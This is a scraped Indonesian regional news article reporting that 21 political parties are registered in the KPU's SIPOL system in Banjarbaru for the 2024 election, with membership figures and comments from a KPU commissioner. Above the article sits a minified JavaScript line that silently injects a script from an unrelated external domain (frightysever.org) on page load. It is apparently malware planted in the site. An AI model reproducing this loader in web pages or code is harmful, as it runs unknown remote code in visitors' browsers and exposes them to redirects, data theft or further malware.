(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 Partai politik (parpol) resmi terdaftar di SIPOL (Sistem Informasi Partai Politik) Komisi Pemilihan Umum (KPU) Kota Banjarbaru sebagai peserta Pemilihan Umum (Pemilu) 2024.
Berdasarkan data KPU Banjarbaru, 21 parpol dengan jumlah keanggotaan dari Partai NasDem (359 anggota), Partai Hati Nurani Rakyat (280 anggota), Partai Keadilan Sejahtera (333 anggota), Partai Amanat Nasional (353 anggota), Partai Kebangkitan Bangsa (381 anggota) dan Partai Golongan Karya (2.013 anggota).
Disusul oleh Partai Gerakan Indonesia Raya (600 anggota), Partai Persatuan Pembangunan (396 anggota), Partai Demokrasi Indonesia Perjuangan (402 anggota), Partai Demokrat (380 anggota) dan Partai Keadilan dan Persatuan (271 anggota).
Kemudian, Partai Perindo (418 anggota), Partai Kebangkitan Nusantara (415 anggota), Partai Buruh (308 anggota) dan Partai Garda Perubahan Indonesia (292 anggota).
Baca juga: Hilangkan Jejak Digital 3 Grup WhatsApp Brigadir J Dihapus, HP Para Ajudan Diganti
Selain itu, parpol yang telah mendaftar di SIPOL KPU yaitu Partai Republik Satu (515 anggota), Partai Republik (349 anggota), Partai Bulan Bintang (295 anggota), Partai Solidaritas Indonesia (351 anggota), Partai Gelombang Rakyat Indonesia (311 anggota) dan Partai Ummat (782 anggota).
Komisioner KPU Banjarbaru Hereyanto mengatakan, 21 parpol yang telah terdaftar di SIPOL KPU untuk wilayah Kota Banjarbaru, pihaknya tengah melaksanakan verifikasi administrasi.
“Untuk saat ini KPU Banjarbaru melaksanakan tugas yang diberikan oleh KPU RI untuk verifikasi administrasi partai politik,” kata Hereyanto.
Ia menambahkan, verifikasi administrasi yaitu dokumen persyaratan keanggotaan parpol yang telah didaftarkan melalui SIPOL KPU. Proses verifikasi sendiri nantinya akan dilaksanakan di Banjarbaru.
“Sesuai dengan parpol yang masuk di SIPOL KPU. Proses kerja verifikasi administrasi dokumen keanggotaan dilaksanakan langsung di SIPOL,” sambung Hereyanto.
Apakah jumlah parpol akan berkurang dari hasil verifikasi administrasi? Hereyanto menyebut, pihaknya belum bisa memastikan. “Proses verifikasi adminitrasi dokumen keanggotaan parpol sendiri masih berlangsung,” tegasnya. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
KANALKALIMANTAN.COM, JAKARTA - Direktur Utama PT PLN (Persero) Darmawan Prasodjo kembali dinobatkan sebagai CEO of… Read More
KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More
This website uses cookies.